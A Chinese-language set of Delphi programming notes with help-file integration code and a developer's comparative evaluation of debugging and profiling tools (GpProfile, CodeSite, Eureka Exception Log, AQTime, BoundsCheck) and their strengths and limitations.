---- 以 上 可 用 调 用 动 态 联 结 库 的 方 法，DELPHI 中 公 用 动 态 联 结 库， 常 数 等 用 不 着 声 明， 可 拿 来 就 用， 在 上 面 的 窗 体 中 再 加 入 二 个 按 钮，Content，Search， 输 入 以 下 代 码：

procedure TForm1.ContentClick(Sender: TObject);
begin
WINHELP(form1.ClientHandle,'d:\winword\dxchlp.hlp',HELP_CONTENTS,0);
end;

procedure TForm1.SearchClick(Sender: TObject);
begin
WINHELP(form1.ClientHandle,'d:\winword\dxchlp.hlp',HELP_KEY,0);
end;

VFP
---- VFP 中 有 内 建 的 菜 单 帮 助 命 令， 另 要 将 帮 助 文 件 设 到 自 己 的 帮 助 文 件 处， 语 句 是:SET HELP TO Drive:\Path\helpfile.hlp， 在 菜 单 位 中 显 示 帮 助 目 录 的 菜 单 项# 是_mst_help， 显 示 帮 助 中 关 键 字 搜 索 的 菜 单 项# 是_mst_hpsch， 现 举 一 例： 进 入VFP， 选“ 文 件”/“ 新 建”/“ 项 目”， 新 建 一 主 程 序main.prg， 输 入 以 下 代 码：
SET DEFAULT TO D:\WINWORD\VFP
SET HELP TO D:\WINWORD\DXCHLP.HLP
PUSH MENU _MSYSMENU
SET SYSMENU OFF
DO MainMenu.MPR

---- 新 建 一 主 程 序 主 菜 单MainMenu， 一 级 菜 单 有File 和Help， 再 设File 的 子 菜 单Exit，Help 的 子 菜 单Contents 和Search，Contents 的 菜 单 项# 是_mst_help， 而Search 的 菜 单 项# 是_mst_ hpsch，Exit 过 程 输 入 以 下 代 码：

POP MENU _MSYSMENU TO MASTER
CLEAR EVENTS
SET SYSMENU TO DEFAULT

---- 以 上 程 序 在P133 兼 容 机， 中 文WORD6.0， 中 文WINDOWS95， 中 文Visual Foxpro3.0，Visual Basic4.0，Delphi1.0 上 运 行 通 过。


实现上下文相关的帮助

 设定form.borderstyle:=bsdialog,//必须是dialog才行
form.bordericons:=[bisystemmenu,bihelp];
oncreate里
application.helpfile:='c:\hubdog\hubdog.hlp';
设定每一个控件的helpcontext正确值，
然后运行，就ok了。


对一般窗体实现上下文相关的帮助

//去掉 WS_EX_CONTROLPARENT，这样一般窗体的控件才能响应上下文帮助
procedure FixContextHelp(Form: TCustomForm);
var
Loop, OldExStyle: Integer;
Handle: HWnd;
Control: TControl;
begin
for Loop := 0 to Form.ControlCount - 1 do
begin
Control := Form.Controls[Loop];
if (csAcceptsControls in Control.ControlStyle) and
(Control is TWinControl) then
begin
Handle := TWinControl(Control).Handle;
OldExStyle := GetWindowLong(Handle, GWL_EXSTYLE);
SetWindowLong(Handle, GWL_EXSTYLE,
OldExStyle and not WS_EX_CONTROLPARENT)
end
end
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FixContextHelp(Self)
end;


测试调试工具

声　　　明

一、 关于在Internet网上转发本文件的声明

本文件的撰写目的是出自作者所在公司(河南省豫能信息技术有限公司)的工作需要。作者在Internet上公开本文纯属个人行为。任何个人或者机构可以在Internet上自由的转发和引用本文。但转发过程中必须保证本文的完整性，不得进行任何的修改。

作者允许任何个人或者机构在本文的转发过程中附带其它的文件来描述、补充或者评价本文。但不得在本文的原文中修改。

本文不做任何加密和权限设置，以方便读者的转发和转阅。

本文全文及其它个人或者机构补充的文档压缩在同一.zip包裹中发布。

二、 关于在传统媒体上刊载、使用、引用本文件的声明

禁止在未经本人书面(含电子邮件)许可的情况下在传统媒体上刊载、使用、引用本文件的部分或全部内容。

如果确需刊载、使用、引用本文件，请用Mail与本人联系。本人联系Mail：aim@263.net或aiming@ynxx.com。

三、 关于本文件可能携带的其它个人或机构的文档的声明

凡在本文件的压缩包中添加的文档均可自由地在Internet网上转发。——“加入本文件的压缩包”将被视为许可本项声明条款的行为。

其它文档如果有不同的声明，请在相应文档中另附。

豫能信息技术有限公司开发部

测试、调试软件软件使用评测计划

(评测报告)

为了在公司的软件开发过程中实施质量检测，保障产品质量，提高后期维护和整改的力度，特提出本使用评测计划。

在本评测报告中不详细描述评测的方法，仅描述结果和评测中的建议。

一、 评测对象

在收集的各种代码测试、调试软件中，我筛选了四种软件作为评测对象，开发人员可以根据工程大小、实施测试的阶段选用不同的软件。这三种软件分别是：

1.    GpProfile Version 1.33

2.    CodeSite Version 2.0

3.    Eureka Exception Log Version 3.1

4.    AQTime Version 2.0

5.    BoundsCheck Version 6.5

所选评测对象仅适用于开发人员在开发和维护进行的过程中对软件产品进行测试和调试，不适用于公司测试组的工作。

二、 评测报告一：GpProfile Version 1.33

(一) GpProfile 的简介

GpProfile是一个开放源码的Delphi项目。它是由Primoz Gabrijelcic主持开发实施的。他所主持开发的项目还包括：

Ø TP Lex/Yacc 3.0 : 一个语言生成和语法检测工具

Ø GpHugeFile : 一个用来处理超大文件的Delphi组件

等。

GpProfile被大量的工具软件厂商应用在自已的产品开发中。如： Delphi-BOX的INF-Tool，Lars Akerman Software的CGI Expert，Femte Gear Internet Software的Pixel Pack和Duncan Amplification的Disk2Disk等都在开发过程中使用了GpProfile。

(二) GpProfile 的特点

GpProfile的特点包括：

Ø 开放源码

Ø 在分析的全过程实现了项目源代码组合

Ø 能分析DLL，EXE和.DPK包裹文件等多种项目类型

Ø 支持多线程

Ø 支持条件编译标志设置两种方法分析标签设置方法

Ø 能清晰地显示函数/类之间的调用结构关系

Ø 支持测试报告的导出，可形成标准的LOG文件格式，提供第三方接口

Ø 可以在应用程序中控制GpProfile的分析，提供API

(三) GpProfile 的适用对象和适用阶段分析

GpProfile仅适用于在Delphi开发过程中用来测试类/函数的执行效率，简单地说，它是一个效率分析工具。

GpProfile分析地全过程是基于程序的调试代码的，同时，它要求你具有项目的源代码。这意味着，你不能用它来分析没有源代码的第三方控件和DLL/ActiveX对象。

由于GpProfile实际上不对源代码的质量做任何地评估，而只是简单的引用。此外，它需要你的编译程序有调试信息并至少完整地运行过一次。因此，GGProfile适合于你发布产品的测试版本，或者交付用户进行测试的情况。

GpProfile不对程序的错误做任何的控制。你必须当心你的程序崩溃而导致GpProfile什么也分析不到。因为GpProfile需要基于你的应用正常退出后生成的记录文件来分析。

GpProfile通过.DCU提供能在你的程序内部调用的API，使你可以在应用程序的任何位置停止并驱动GpProfile展开分析。这使应用程序在意外中止之间至少有一次机会保存记录。

(四) GpProfile 的使用方法

GpProfile可能是我在测试中见过使用方法最简单的一套性能分析工具。下面简要介始它的使用方法：

1. 启动

启动GpProfile至少有两种方法：

Ø 从Delphi IDE Tools中启动

Ø 直接启动

2. 打开测试项目

接下来，你可以打开一个测试项目。对于GpProfile来说，你只能打开.DPR或者.DPK文件来做测试项目。

如果你从Delphi IDE从启动GpProfile，则IDE中的当前项目将直接成为GpProfile的测试项目。

3. 选定测试对象

在GpProfile的主窗体中，有Instrumentation页，在该页中，你可以见到在测试项目中的全部的函数和类的Procedure/Function接口。这些是你可选的测试对象。

你可以选择类/函数的复杂组合作为测试对象。

完成选择之后，你需要点一下 按钮，将选择对象组合到你的源代码中。当然，如果你已经设置好源代码的编译开关，你也可以直接按 按钮来一步完成组合->编译->运行应用程序这全部的工作。

如果你在Delphi中打开了组合的过程/函数所在的单元，则你会在Delphi IDE中收到一个要求重新载入源程序的消息。此时，你应该选“确定”。

4. 编译应用程序

GpProfile不需要你对应用程序的编译选项做任何的特殊配置。但你必而编译一个新的应用程序来将GpProfile的代码组合到你的目标程序中。

当然，你也可以在Delphi IDE环境中选“运行”，而不必直接编译目标文件。

5. 运行应用程序

接下来，你需要运行应用程序。在GpProfile中，这一步最至关重要，也最容易出错。

在较简单的情况下，运行程序直到应用程序结束，被组合应用程序中组合进的GpProfile的代码将会自动在应用程序所在目录生成*.prf文件，这就是分析用的记录文件。

但某些程序下，如果你的应用程序不是正常中止的，可能你无法有效地得到.prf文件。这时，你可能要在你的源代码中加入一些针对于GpProfile的控制代码。关于这一部分，你可以在GpProfile的Help中查看关于它的API的说明。

此外，一个实例是关于ISAPI的，在Delphi IDE中运行并中止ISAPI DLL时，并不会生成报告。这可能与IIS的线程处理机制有关。但你可以不使用调试模式，并通过IIS服务管理器来中止ISAPI，这样，你就可以得到检测报告了。

6. 查看测试报告

如果在运行应用程序时，你GpProfile开着。那么，你的应用程序结束时，GpProfile会自动打开测试报告。否则，你应该在GpProfile的主界面中，选择 Profile\Open 菜单，到应用程序所在目录中去打开测试报告。

(五) 存在的问题

OH...好象问题不多，哈哈~~~~~~

Ø 不要指望它能给你调试程序带来任何的帮助。

Ø 不要指望你能通过它来给没有源代码的项目做任何分析。

Ø 有没有人能告诉我它的“Layout”菜单有什么用。^-^

Ø Layout Manager的对话框中有一个小BUG。

Ø 在启动或中止替换图片时可能会发生一个错误，此时你需要更换新的Comctl32。

Ø 出于安装程序的问题，在Win95/98中，可能无法将GpProfile安装到Delphi IDE中，你可以运行GPPROF /REGISTER命令来手工安装它。

Ø 不能处理对{$INCLUDE}包含文件中的过程的组合。

Ø 对Remote Profile分析的处理不是太理想

(六) 其它

千万别用ProDelphi。那将给你带来一场灾难。它会将你的源代码改得一塌糊涂，至少我用过的ProDelphi Version 9.4是这样。——而GpProfile中提供了很好的Remove Instrumentation功能。

三、 评测报告二：CodeSite Version 2.0

(一) CodeSite 的简介

CodeSite实在是一个不可多得的调试辅助工具。——OH，首先请记住的，它是一个调试辅助工具，而GpProfile是一个代码性能分析工具。

CodeSite最大的作用是将你的应用程序中的运行情况通过CodeViewer显示出来。他可以实时地反映这些信息。同时，他也能将应用程序发生异常时的系统状况真实地反映出来，包括Memory Buffer、Strack、Class Object以及VCL等等。此外，你还可以定制发向CodeViewer的数据的格式（当然，你也同时要为这种数据格式在CodeViewer中书写一个接收器插件）。

CodeSite Version 2.0获得了2000年度Delphi Informant读者选择的最佳调试工具奖。它是一个商业级控件，是著名的Raize公司的代表作品。Raize还出品了Raize Component Pack，估记已是无人不知了。

(二) CodeSite 的特点

CodeSite通过它自己的组件将代码完全集成到Delphi所编译的应用程序的内部。事实上，CodeSite更象是提供了两个非可视控件来生成程序运行记录。正如Hubdog所说，它更象是Delphi EventLog的一个扩展版本。

* Hubdog：国内一个很不错的Delphi程序员。他所整理的《Delphi之未经证实的葵花宝典2.5》可以说是我编程的备查手册，不过好象已经停止更新了。

但CodeSite具有它自身独有的特点：

Ø 有一个功能强大的、可在消息源中定制路由的消息转发器。

Ø 消息中对消息路由的控制采用字符串，容易实现用户配置。

Ø 强大的第三方插件和工具支持。

Ø 可定制的消息格式和完善的接口。

Ø 消息控制可以完美地嵌入Delphi应用程序内部。

Ø 支持远程消息发送，支持TCP/UDP协议。

Ø 商业级地产品后期支持。

(三) CodeSite 的适用对象和适用阶段分析

CodeSite完全不适合一个没有源程序的应用程序。

CodeSite并不是一个适合在调试期使用的产品。它不产生调试代码，也不对程序的运行做任何的控制和分析。

CodeSite适合于在产品分发的Beta版中使用。它不是一个理想的远程代码维护工具，但它是绝对一个是好的远程代码运行情况的Monitor。

CodeSite不能给你的的代码调试带来任何主动的建议，请自行分析它的数据和报告。CodeSite只是静态的提供程序运行期的各种程序内部对象的状态数据，分析是你自己的工作。

(四) CodeSite 的使用方法

请参考Hobdog的《CodeSite Pro 2.0应用指南》。——这是一份精彩的手册，我想我对它的任何补充都是画蛇添足。

(五) 存在的问题

没有真正完美的东西。——于这一点，请相信我。

最大的问题是CodeSite缺乏分析报告。甚至，他连一些简单的统计(当然，更别说分析)工作都没有做。天啊，从一大堆数据中去逐行分析一个程序流程与看《完全自杀手册》难道有什么区别吗？有一点值得庆幸的是，它还是在CodeSite中加入了一个Filter工具。——写到这儿，Aiming偷偷地抹了一把冷汗。^-^

问题之二来源于CodeSite Dispatcher(CodeSite专用的消息分发器)。如果消息要发向的目标是一个局域网用户，CodeSite通过TCP/IP协议只能发向一个Internet用户。那么，如何能接收到这个消息呢？解决的方法至少有两种，一个是在局域网的对外的服务器上再装一个CodeSite Dispatcher，由它来转发给局域网用户；另一种是在CodeSite内部通过专用格式的TCP/UDP报文头来要求网关向内部网转发。问题是，这两种方法CodeSite一个都没有实现。

其三，CodeSite并不通告运行应用程序的用户它在后台发出消息。因此，在一些私人数据敏感的软件中加入CodeSite时，请你自行向用户提示。这可能是你必须要做的一件事。——在文档中、授权中，或者弹出一个消息框来告诉用户：OH，Mr. or Mrs. I’ll send some message to my father. Can I do this? Yes or NO?

其四，请考虑在你的源码中加入CodeSite的代码的时候加入条件编译语句。这样可以你使你在正式发布产品时节省很大的力气。不过，说实在的，我总是近于顽固地认为这是Raize来做的事情。

(六) 其它

如果你不是极端完美主意者，那么，强烈建议你在发布Beta时选用CodeSite。并且，同时建议从你的应用中彻底地清除掉那些用于写LogFile或者向事件查看器发消息的代码。

Aiming的代码库pubUnit.pas中的Funtion SendMessageLog()可以删除掉了。:)

四、 评测报告三：Eureka Exception Log Version 3.1

(一) Eureka Exception Log 的简介

在我见到Eureka Exception Log之前，ExceptionalMagic一直是一个非常不错的替代品。但当我很偶然地发现Eureka Exception Log之后，我就决定放弃ExceptionalMagic了。

这里顺便先说说ExceptionalMagic(EM)。EM是Dimus UNLEASHED发布的一个Delphi异常报告工具(在这一点上是与Eureka Exception Log一致的)，EM发布的正式版本带有全套源码，售价也仅有50$。同时，它能够在提示异常时显示堆栈、寄存器和定位源代码行(含VCL/RTL)，并显示用户定制错误消息对话框或者写入Log文件。可以说是很不错的选择。但影响我此次选择的最重要原因是EM几乎是停止维护的产品。——自2000.4.20发布1.51之后，EM几乎就不再出新版本。2001.10.31日EM又发布了一个Ver1.6 Beta给注册用户测试，但接下来一点消息也没有了。因此，我只好选择Eureka作为我的评测对象，因为Eureka Exception Log的功能实在比EM易用得多。

* 我很少会在两个带与不带源码的产品中选择后者，但Eureka占胜了我的习惯。由此我想，在软件行业中，服务是第一位的。——这也算做题外话吧。

Eureka Exception Log(EEL)出自Eureka，该公司似乎只开发这个产品。EEL的最新版本是3.1，支持Delphi 6，售价是28$/78$。

(二) Eureka Exception Log 的特点

EEL和EM是同一类产品，它们都是在程序发生异常时截断Delphi的异常处理流程，然后给用户/开发人员最后一次处理异常的机会。通常情况下，EEL和EM都建议你将错误显示给用户或者写入Log文件。不同的是，EEL提供了在出错时发送Mail的功能。

EEL的特点主要表现在：

Ø 很完美地与Delphi IDE的组合在一起，异常处理过程几乎不需要编码。

Ø 目标代码增大的情况不严重(仅增大25K)。

Ø 多种错误显示和提交方式，选项多而实用。

Ø 错误提示可以使用你指定的任何语言，可定制性极高。

Ø 支持包、DLL和多线程应用。

Ø 提供面向CGI应用的接口，可以将错误显示成HTML页。

(三) Eureka Exception Log 的适用对象和适用阶段分析

当然，EEL也只适合于有程序源代码的情况。不过，它并不要求你所使用的控件也有源程序。——只要第三方控件的.DCU带有调试信息，则EEL可以对发生的异常定位到源代码行。否则，它只会告诉你在这个单元中发生了错误。

EEL和CodeSite一样，都用于在一个远端程序中收集程序的运行状态信息。不同的时，EEL的仅限于收集异常信息，并且它显示信息的对象是同时面向软件用户和开发人员的。而CodeSite的信息比ELL全面庞杂，仅提供给开发人员使用。

EEL可以用于面向开发人员的测试版(alpha)，也可以用于面向用户发布的测试版(beta)。而CodeSite更趋向于alpha。

EEL并不给异常以任何的修正。如果需要，你应该自已来修正它。永远不要期望EEL会让你的产品变得稳定。EEL所做的，只是在出错时，友好地告诉你的用户错误发生了，是否报告给作者。——当然，他也可以在不打断用户操作的情况下，“悄悄地”通告作者这些异常的发生。这些异常和错误的修复是你的工作，而不是EEL的。

你可以给TApplication.HandleException一个处理函数，并在处理函数中用CodeSite来发消息。这样，这就基本上得到了一个比EEL功能更强大的异常处理调试工具。事实上，EEL也使用该处理句柄来截获错误消息。但是，EEL通过一个自己的对象TEurekaThread提供了对多线程中异常进行检测的方法。因此，在某些类型的异常截获上，EEL会可能比CodeSite的方式来得有效。但这不是Raize与Eureka之间的较量，而是不同的解决方案和目标的差异。

* 作为一个提示： CodeSite没有直接提供邮件方式的消息发送机制，你可以使用CodeSite的TCP接口，并通过定制数据类型的方式来发送邮件。如果你想现在就开如做这件事，建议你看看Raize上的一个示例：CodeSite TCP Direct Interface Unit。你可以在这儿下载它的源码：

http://www.raize.com/DevTools/CodeSite/Utils/CSTcpDirectIntf.zip

(四) Eureka Exception Log 的使用方法

EEL的使用比较简单(这也是我放弃EM的一个理由)。EEL安装安装后就会集成在Delphi IDE的菜单Project\Exception Log Options中。

点开这个菜单，我们可以看到如下图所示界面，其中：

Ø Exceptions : 设定忽略的异常信息列表;

Ø DLL : 设定HOST所调用的需要检测异常的DLL项目;

Ø E-Mail : 设置E-Mail通知的发送方式;

Ø LogFile : 设置记录文件的生成方式;

Ø Messages : 设置出错时从GUI/控制台发出消息的格式和语言;

Ø Advanced : 设置检测异常时具体的处理方式和参数设定;

Ø Errors : 显示本地错误记录和历史记录;

设定完上述参数后，你需要保证“Active the ‘Exception Log’”被选中，这样才能将EEL结合到你的应用程序中去。

还有两点是必须要注意却又容易忘记的：

Ø 打开Project\Options\Compiler\Debug information选项

Ø 将Project\Options\Linker\Map file选项设置成”Detailed"

OK。一切搞定，现在你就可以编译项目并交付Beta了。

* EEL已经缺省为你设置了这两项，但如果你编译运行时仍然存在问题，建议你看看这两个选择项。

下面提供一个测试实例：

1.    在Delphi中新建一个Application

2.    加一个按钮，在onclick中写如下一行代码：

ShowMessage(IntToStr(StrToInt('')));

3.    在Project\Exception Log Options中打开EEL

4.    设置Active the ‘Exception Log’为选中

5.    打开Project\Options\Compiler\Debug information选项

6.    将Project\Options\Linker\Map file选项设置成”Detailed"

7.    编译运行

现在你只需要点一下按钮，就明白会发生什么事了。:)

你可以再打开Project\Options\Compiler\Use Debug DCUs选项，重新编译运行一下你的项目，你会发现报告信息的不同的。

(五) 存在的问题

ELL很小巧，功能也很单一，因此，它基本不存在什么大的问题。但还是有一些小的瑕疵。比如：

Ø 对一个项目设置了Messages后无法保存到下一个项目中使用

Ø 消息发送的形式不够丰富，应借鉴CodeSite的处理形式或者提供相应的接口

(六) 其它

EEL提供的错误信息会给你的维护工作带来极大的帮助。它甚至会准确地定位到错误行，如同在Delphi IDE内部调试一样的准确。

EEL在你的程序中加入ExceptionLog.dcu单元，从而获得在程序的全局地处理异常的能力。但是，如果你使用try .. except .. end语句来封装了你的异常，则EEL什么也得不到。请记住EEL只能利用Handle Exception句柄来处理你忘记处理的那些异常，而不是你已经处理过的。这也是EEL的一个缺陷，如果它能够象Delphi IDE的Tools\ Debugger Options\Language Exceptions选项中的”Stop on Delphi Exception”那样截获到应用程序的任意异常，可能会更有价值。

EEL在ExceptionLog.dcu单元提供一个全局的ExceptionHandle对象和一些全局变量，使你可以在应用程序中自由地控制EEL的全部，包括你能够在Exception Log Options对话框中看到的所有内容。关于这一点，请参考EEL的随机手册中的“Other”部分。

EEL将你的配置保存在“*.dof” 文件(这里的“*”是项目文件名)中的[Exception Log]节里，这里也包含Messages的全部设置。你可以将该节保存成一个缺省配置，用来修改新工程.dof文件中的相应节的，以弥补EEL” 对一个项目设置了Messages后无法保存到下一个项目中使用”的缺陷。此外，你也可以在自己的应用程序中通过给ExceptionLog.RealMsgs[]数组赋值，从而实时地修改Messages的显示信息。

EEL是不提供源程序的。因此，如果新版的EM出现，我建议重新评价EEL和EM的功能。此外，我甚至建议你使用CodeSite来替代一些EEL的工作。——如果你有信心处理好TCodeSite的每一个细节的话。——EEL是给懒人用的放大镜，而CodeSite是给那种有足够时间来应付代码和数据的程序员的哈勃天文望远镜。

五、 评测报告四：AQTime Version 2.0

(一) AQTime 的简介

AQTime是AutomatedQA公司的主力产品。该公司以开发测试和调试类产品著称，目前开发的几个产品都是面向项目测试的(产品测试和项目测试是不同的)。这些产品包括：

Ø AQTest : 软件产品的测试工具，主要用于成品测试

Ø AQTime : 软件项目的测试工具，能实时/静态地分析软件的执行效率和代码性能

Ø TestRecoder+TestExecute : 用来记录和执行AQTest测试脚本的辅助工具

Ø MemProof : 内存泄漏检测工具

AQTime能够分析Delphi/BCB/VC/VB/GCC等工具开发的软件产品，此外，它有专门For VS.NET的版本。

AQTime和GpProfile是同一类产品，甚至它们的界面都有很多相似之处。因此，在本部分内容中，我将更多的对比两者，以尽可能让你了解它们各自的特点，从而使你在不同的应用中，合理地在在两者之间选择。

(二) AQTime 的特点

AQTime和GpProfile之间的最主要区别表现在三个方面：

1.    AQTime不需要你的项目源代码即可进行分析，而GpProfile需要项目源程序，并会对代码进行修改，在重新编译之后才能进行分析。

2.    AQTime需要在自己的环境中运行和中止你的应用程序，也就是说，AQTime是一个应用程序的Shell。而GpProfile将自己的测试代码加入到你的应用程序内部，你的程序可以脱离GpProfile环境运行且同样完成分析。从这个角度来讲，GpProfile被应用程序Embedded到了内部。

3.    AQTime依赖编译应用程序时包含的调试信息来分析执行期性能。而GpProfile依靠在应用程序内加入自己的标志来“截取”执行期数据。因此，GpProfile依赖于源码和重新编译，而AQTime依赖于编译时是否加入调试信息。

此外，AQTimer还具有如下特点：

Ø 庞大而且全面，支持众多的开发环境和不同类型的语言

Ø 提供反汇编功能，帮助你性能问题在汇编级代码上的实质

Ø 图例化的分析结果，可以综合多次运行的结果进行复杂地分析

Ø 打印、报表功能

Ø 可针对SQL/BDE、VCL、API等进行分析

Ø 可进行源代码级的静态分析

Ø 调用结构图例化显示及分析

Ø 支持触发器功能，可以任意定制记录分析的条件

Ø 支持扩展，可以通过第三方Plag-ins的方式扩充AQTime的功能

(三) AQTime 的适用对象和适用阶段分析

AQTime的设计机制决定了它不依赖于程序的源代码，但是必须保证应用能够在AQTime的环境中被正常运行和中止。因此，AQTime所适用的对象可以是任何能够通过GUI界面或者其它接口自行正常中止的应用程序。应用程序不能脱离AQTime运行，也就意味着AQTime不能实现远程分析。

可以看出，应该在产品交付给用户之前使用AQTime。由于AQTime依赖调试信息来分析应用程序的执行性能，所以，使用AQTime分析过的应用程序并不会是最终交付给用户的应用。——你至少需要清除调试信息后再交付给用户。

GpProfile只分析Unit/Function/Clsas的执行效率和调用频度，因此只是一个程序效率分析工具。而AQTime分析非常全面，甚至内置了反汇编、异常分析、SQL语句跟踪及分析和源代码静态分析等功能，因此，AQTime是一个代码综合性能的分析、调试工具。——AQTime甚至提供给你在AQTime内部修改程序源代码的能力。这一点看起来非常简单，但它反映了AQTime和GpProfile具有着的不同的发展方向。

在开发周期的中、后阶段定期使用AQTime进行测试分析，有助于提高软件产品的品质，改善你的代码质量。同时，也可以使程序内部的调用结构更加合理和有效。它也是执行期实时错误的一个辅助调试工具。

(四) AQTime 的使用方法

AQTime的使用其实非常非常简单，甚至可以说比GpProfile更加简单。但我在几个工具的测试中，在AQTime上花的时间却是更多的。原因出自于AQTime在处理非GUI应用中的一个不足，这一点，在后面将会专门提及。在本小节里，我只介绍一下AQTime的基本用法。

1. 编译你的应用程序或者DLL

需要注意的是你必须在Delphi中正确设置如下参数：

1.    选中Project\Options\Compiler\Debug infomation

2.    选中Project\Options\Compiler\Local symbols

3.    选中Project\Options\Linker\EXE and DLL Options\Include TD32 debug info

然后，重新编译应用程序或者DLL。

2. 启动AQTime，加载应用程序

在AQTime中，在File\Open菜单中打开准备测试的应用程序或者DLL。如果是测试DLL，请打开DLL后，在AQTime中设置Project\Paramentes。

在打开文件后，AQTime会花一点点时间来分析EXE/DLL中的调试信息。没有调试信息的程序也可以被载入到AQTime。——关于这一点，最初很难理解，但当你在Profiler Selector中发现了Platform Compliance(平台依赖性分析)、Memory and API Resource Check(内存和API资源占用分析)等等功能之后，你就应该明白： AQTime在没有调试程序的情况下，也能对应用程序做一些基本的分析。

AQTime允许你分析OCX和Delphi的VCL类，但这时你需要做一些特殊的配置。有关这些内容，请在AQTime的帮助“Index”中键入 “Compiler Settings?Borland Delphi” ，查阅有关的章节。

3. 设置分析对象

这是重要的一步，但并不复杂。

如果你的应用程序/DLL包含调试信息，那么，你会在AQTime左边的“Setup”页中看到一个树型列表，反映着你程序中所有的单元。此时，你可以进行分析对象的设置。

图一：AQTime加载后的“Setup”列表和“Add Area”菜单

在右边的“Areas”中点鼠标右键，选“Add Area”。此时，你可以选择添加一个新的分析对象分类，它可以是“Including(包含)”和“Excluding(排除)”两种。它表明本分区是否处理下面要选择的具体对象。

图二： “Add Area”对话框

接下来，在你建立的分区上点鼠标右键，选以下三个菜单之一：

Ø

图三： 设置分析对象

Add Units...

Ø Add Procedures...

Ø Add Classes...

现在，你可以点选你刚建立的分区前的可选框，激活该分区的设置。

4. 运行应用程序并分析

现在你可以启动应用程序。

你只需要按下AQTime界面上的 按钮，就可以启动应用程序。从现在开始，直到你退出应用程序为止，你不会从AQTime中得到任何消息。

如果你正常退出了应用程序，那么AQTime将自动切换到“Result”页，查看本次分析的结果。同时，AQTime界面下方的各个显示面板可随你查看的分析内容而切换。需要注意的是，是否能够查看源代码编辑框(Editor)，取决于你是否在Project\Search Directories对话框中设置了源代码的搜索路径。缺省情况下，QTime只在当前应用程序所在的目录下搜索源代码。

你必须在应用程序中正常退出，AQTime才能开始分析。如果你按下 按钮来中止应用程序，你将什么也得不到。:(

(五) 存在的问题

很不幸，AQTime是本次测试中问题存在最多的一个软件。:(

这并不代表AQTime不好用或者不可用。相反，我仍然要极力推荐你在合适的情况下使用AQTime来协助你工作。

但问题毕竟还是存在的。我并不希望因为我的推荐而让你忽略了它们：

Ø 由于AQTime要求你的程序必须在它的运行环境中启动，所以，某些对系统环境要求苛刻的程序无法展开分析。

Ø 同于以上的原因，正是AQTime控制了你的程序的运行环境，并在你程序运行的全程监控它，所以你的程序会比正常情况下(脱离AQTime的环境)要慢一些。这也意味着AQTime的分析结果是不准确的，它不是“程序运行期”而更象是“程序调试期”的效率分析。与此相对应的，由于GpProfile将代码内置到你的应用程序中，所以它的效率会比AQTime高，得到的值也更为准确。

Ø AQTime需要调试信息的支持，因此，它可能与使用同样机制的一些软件冲突。一个实例就是Eureka Exception Log。——如果你在程序中加入了EEL的代码，无论你是否如何设置编译时的调试选项，AQTime都无法分析到调试信息。只要你不激活Project\Exception Log Options\ Active the ‘Exception Log’选项，AQTime就可以正常运行。同样的问题也可能出现在其它软件中，建议你在遇到类似问题时，查看一下你为Delphi而安装的外部应用程序列表。

Ø AQTime将自己挂在应用程序的Termination Procedures列表上(Delphi可以用AddTerminateProc()来维护该列表)。然而在这种情况下，如果你是意外中止应用程序，AQTime就不会展开任何的分析，因为TerminationPro根本就不会被执行。它会导致的直接结果是：如果你是通过Delphi来运行程序，则按Ctrl+F2中止程序，或者你通过Windows的任务管理器终止它，都无法激活AQTime的分析过程。

AQTime的这个Bug导致我根本无法分析我的ISAPI DLL。因为在一方面，AQTime要求IIS在AQTime的环境中运行，这就意味着IIS需要以进程方式而不是服务方式来运行；而另一方面，IIS在进程方式运行时，不可能通过“net stop w3svc”命令来终止，只能通过强行进程中止的方式结束。于是，AQTime根本无法处理ISAPI DLL。:(

同样的理由，AQTime无法处理其它无法正常中止的服务或者非GUI程序。:(

Ø AQTime的机制决定了它不可能进行远程分析。所以，AQTime应该现在就开始为远程分析写一个Shell，用来收集分析数据。在这一点上，GpProfile具有天生的优势。

(六) 其它

GpProfile也使用了挂接Termination Procedures List的方式来监视应用程序的结束，因此，它实际上也不能在主界面中监视ISAPI。但它的机制决定了它能够在IIS运行在服务方式时收集数据，所以，你可以用“net stop iisadmin /y”的方式停止IIS，从而通告GpProfile在ISAPI中的内置代码写记录文件，并激活GpProfile的分析器。在这一点上，我想AQTime只能考虑系统级的HOOK，并监视进程列表的更新情况了。遗憾的是，目前AQTime还没有这样做。:(

无论如何，AQTime是一个极佳的、异常全面的分析工具。并且，作为一个商业产品，我对它的后期维护报有信心，而GpProfile的上一次更新，已经是1999-10-1日的事了。:(

六、 评测报告五：BoundsCheck For Delphi Version 6.5

(一) BoundsCheck 的简介

如果仅提及Compuware公司名字，估计知道的人并不会多，至少我第一次听说这个名字就不知所云。但如果说起它的力作SoftICE，估计就无人不知了。作为世界五大独立软件供应商之一，Compuware公司的精品软件还包括：

Ø NuMega自动化的白盒测试工具：通过执行应用程序找到程序的run-time错误的工具套件

Ø QACenter自动化的黑盒测试工具：集成了一符合大型机应用的测试要求的自动工具套件

Ø EcoSYSTEMS : 以应用为核心，涵盖包括网络资源，主机硬件，操作系统，数据库台，应用程序等各个方面的计算机综合监控管理系统

BoundsCheck是“NuMega自动化的白盒测试工具”套件中的一个，它有其独立发行的版本。也是该套调试、测试工具包中唯一一个支持Delphi的软件。

(二) BoundsCheck 的特点

BoundsCheck是用来检测程序错误的，但在它的Version 6.5中还包括了一个兼容性检测工具：Comliance Report。——不过，这已经算是它的副业了。哈哈……

BoundsCheck通过运行期动态检测的方法查找程序中是否存在由于逻辑错误引起的内存溢出或资源泄露等问题。它所检测的错误类型主要有三类：

1.    指针和泄露错误：接口泄露，内存泄露，资源泄露，未分配的指针错误

2.    内存错误：动态存储溢出，无效的句柄被锁定，句柄没有被锁定，内存分配冲突，栈空间溢出，静态存储溢出

3.    API和OLE错误：API函数返回失败，API函数未执行，无效的变量（包括指针变量、字符串变量等），OLE接口方法的变量无效，OLE接口方法失败，线程调用库函数错误

BoundsCheck的特点表现在：

Ø 能自动组合在Delphi IDE中，如同Delphi自身的一个调试、测试工具

Ø 可迅速的定位出错的源代码，可在Delphi IDE的编辑器中实现直接定位

Ø 提供清晰、详细的程序错误分析

Ø 自动查明静态的堆栈错误及内存/资源泄露

Ø 通过联机Help，提供出错项的详细解释和错误示例

(三) BoundsCheck 的适用对象和适用阶段分析

BoundsCheck并不要求被检测程序一定具有源代码，因此，他可以对第三方产品／控件包进行检测。这也意味着用户方可以使用BoundsCheck来对程序进行稳固性和平台兼容性测试。

